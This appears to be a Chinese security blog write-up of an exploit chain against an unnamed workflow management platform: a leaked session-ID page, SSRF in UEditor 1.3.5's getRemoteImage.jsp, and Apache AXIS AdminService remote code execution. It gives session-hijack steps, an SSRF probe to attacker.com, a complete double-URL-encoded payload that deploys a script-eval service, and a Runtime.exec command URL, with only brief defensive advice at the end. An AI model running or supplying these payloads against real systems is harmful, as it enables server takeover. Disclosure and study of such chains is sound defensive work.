某通用流程化管控平台SSRF到RCE之旅
字数 1459 2025-08-10 00:24:01

某通用流程化管控平台SSRF到RCE漏洞分析与利用

漏洞概述

本文详细分析了一个通用流程化管控平台中存在的安全漏洞链:从SSRF(服务器端请求伪造)到RCE(远程代码执行)的完整利用过程。该漏洞利用涉及多个关键点,包括Session ID泄露、SSRF漏洞利用、AXIS服务RCE以及多重编码绕过技术。

漏洞环境

  • 目标系统:某通用流程化管控平台
  • 漏洞组件:
    • 暴露的Session ID列表
    • UEditor编辑器SSRF漏洞 (1.3.5 UTF-8版本)
    • Apache AXIS服务 (≤1.4版本)

漏洞利用步骤

Step 1: 未授权访问与Session劫持

目标系统存在一个严重的信息泄露漏洞:

  • /manage/index.jsp页面直接暴露了所有当前活跃的Session ID
  • 攻击者可以通过替换自己的Session ID来劫持任意用户会话

利用方法

  1. 访问/manage/index.jsp获取活跃Session ID
  2. 修改自己的Session Cookie为获取到的有效Session ID
  3. 无需认证即可登录系统

Step 2: 发现SSRF漏洞入口

在已登录状态下发现:

  • 系统使用了UEditor编辑器(1.3.5 UTF-8版本)
  • 存在SSRF漏洞的文件路径:/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp
  • 漏洞参数:upfile,用于远程获取图片

漏洞验证

/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp?upfile=http://attacker.com

Step 3: 发现AXIS服务RCE漏洞

系统内网存在Apache AXIS服务:

  • AXIS ≤1.4版本存在已知RCE漏洞
  • 默认配置下远程访问被禁止(remote user access is not allowed)
  • 通过SSRF本地调用可绕过此限制

Step 4: SSRF到RCE的利用链构建

初始尝试

直接使用AXIS的GET型RCE Payload:

/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment&xx=xx.jpg

问题:被图片类型检测拦截

分析getRemoteImage.jsp源码

关键检测逻辑:

  1. 检查URL是否以.gif, .png, .jpg, .jpeg, .bmp结尾
  2. 如果不是有效图片类型则报错

绕过尝试1 - 添加.jpg后缀

修改Payload结尾:

...&xx=xx.jpg

结果:仍然被拦截

绕过尝试2 - 处理空格问题

发现XML中空格导致问题,尝试用换行符替代:

  • 使用%0d(回车)替代空格
  • %0a(换行)会导致部分内容丢失

绕过尝试3 - 构造合法图片URL

利用注释和拼接构造合法图片URL:

...><xx.jpg></xx.jpg

最终绕过方案 - 双重URL编码

对关键字符进行双重URL编码:

%20 → %250d
%22 → %2522
%3A → %253A
%2F → %252F
%3D → %253D
%3E → %253E
%3C → %253C

最终有效Payload

/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--%253E%253Cdeployment%250dxmlns%253D%2522http%253A%252F%252Fxml.apache.org%252Faxis%252Fwsdd%252F%2522%250dxmlns%253Ajava%253D%2522http%253A%252F%252Fxml.apache.org%252Faxis%252Fwsdd%252Fproviders%252Fjava%2522%253E%253Cservice%250dname%253D%2522mxxgege%2522%250dprovider%253D%2522java%253ARPC%2522%253E%253Cparameter%250dname%253D%2522className%2522%250dvalue%253D%2522com.sun.script.javascript.RhinoScriptEngine%2522%250d%252F%253E%253Cparameter%250dname%253D%2522allowedMethods%2522%250dvalue%253D%2522eval%2522%250d%252F%253E%253CtypeMapping%250ddeserializer%253D%2522org.apache.axis.encoding.ser.BeanDeserializerFactory%2522%250dtype%253D%2522java%253Ajavax.script.SimpleScriptContext%2522%250dqname%253D%2522ns%253ASimpleScriptContext%2522%250dserializer%253D%2522org.apache.axis.encoding.ser.BeanSerializerFactory%2522%250dxmlns%253Ans%253D%2522urn%253Abeanservice%2522%250dregenerateElement%253D%2522false%2522%253E%253C%252FtypeMapping%253E%253C%252Fservice%253E%253C%252Fdeployment%253E%253Cxx.jpg%253E%253C%2Fxx.jpg

Step 5: 执行任意命令

成功部署恶意服务后,通过访问该服务执行系统命令:

http://localhost:8080/axis/services/mxxgege?method=eval&param0=Runtime.getRuntime().exec("whoami");

漏洞总结

关键利用点

  1. Session ID泄露/manage/index.jsp直接暴露会话ID
  2. SSRF漏洞:UEditor的getRemoteImage.jsp未严格过滤URL参数
  3. AXIS RCE:本地AXIS服务存在代码执行漏洞
  4. 绕过技术
    • 使用%0d替代空格
    • 双重URL编码绕过过滤
    • 构造合法图片URL后缀

防御建议

  1. 修复Session ID泄露问题
  2. 升级UEditor到最新安全版本
  3. 对SSRF功能实施严格的白名单限制
  4. 升级AXIS服务到安全版本
  5. 实施输入验证和输出编码
  6. 禁用不必要的内部服务

漏洞利用流程图

Session ID泄露 → 会话劫持 → 发现SSRF → 本地AXIS服务探测 → 构造双重编码Payload → 部署恶意服务 → RCE

该漏洞链展示了从信息泄露到完全系统控制的过程,强调了纵深防御的重要性。

某通用流程化管控平台SSRF到RCE漏洞分析与利用 漏洞概述 本文详细分析了一个通用流程化管控平台中存在的安全漏洞链:从SSRF(服务器端请求伪造)到RCE(远程代码执行)的完整利用过程。该漏洞利用涉及多个关键点,包括Session ID泄露、SSRF漏洞利用、AXIS服务RCE以及多重编码绕过技术。 漏洞环境 目标系统:某通用流程化管控平台 漏洞组件: 暴露的Session ID列表 UEditor编辑器SSRF漏洞 (1.3.5 UTF-8版本) Apache AXIS服务 (≤1.4版本) 漏洞利用步骤 Step 1: 未授权访问与Session劫持 目标系统存在一个严重的信息泄露漏洞: /manage/index.jsp 页面直接暴露了所有当前活跃的Session ID 攻击者可以通过替换自己的Session ID来劫持任意用户会话 利用方法 : 访问 /manage/index.jsp 获取活跃Session ID 修改自己的Session Cookie为获取到的有效Session ID 无需认证即可登录系统 Step 2: 发现SSRF漏洞入口 在已登录状态下发现: 系统使用了UEditor编辑器(1.3.5 UTF-8版本) 存在SSRF漏洞的文件路径: /common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp 漏洞参数: upfile ,用于远程获取图片 漏洞验证 : Step 3: 发现AXIS服务RCE漏洞 系统内网存在Apache AXIS服务: AXIS ≤1.4版本存在已知RCE漏洞 默认配置下远程访问被禁止( remote user access is not allowed ) 通过SSRF本地调用可绕过此限制 Step 4: SSRF到RCE的利用链构建 初始尝试 直接使用AXIS的GET型RCE Payload: 问题 :被图片类型检测拦截 分析getRemoteImage.jsp源码 关键检测逻辑: 检查URL是否以 .gif , .png , .jpg , .jpeg , .bmp 结尾 如果不是有效图片类型则报错 绕过尝试1 - 添加.jpg后缀 修改Payload结尾: 结果 :仍然被拦截 绕过尝试2 - 处理空格问题 发现XML中空格导致问题,尝试用换行符替代: 使用 %0d (回车)替代空格 %0a (换行)会导致部分内容丢失 绕过尝试3 - 构造合法图片URL 利用注释和拼接构造合法图片URL: 最终绕过方案 - 双重URL编码 对关键字符进行双重URL编码: 最终有效Payload : Step 5: 执行任意命令 成功部署恶意服务后,通过访问该服务执行系统命令: 漏洞总结 关键利用点 Session ID泄露 : /manage/index.jsp 直接暴露会话ID SSRF漏洞 :UEditor的 getRemoteImage.jsp 未严格过滤URL参数 AXIS RCE :本地AXIS服务存在代码执行漏洞 绕过技术 : 使用 %0d 替代空格 双重URL编码绕过过滤 构造合法图片URL后缀 防御建议 修复Session ID泄露问题 升级UEditor到最新安全版本 对SSRF功能实施严格的白名单限制 升级AXIS服务到安全版本 实施输入验证和输出编码 禁用不必要的内部服务 漏洞利用流程图 该漏洞链展示了从信息泄露到完全系统控制的过程,强调了纵深防御的重要性。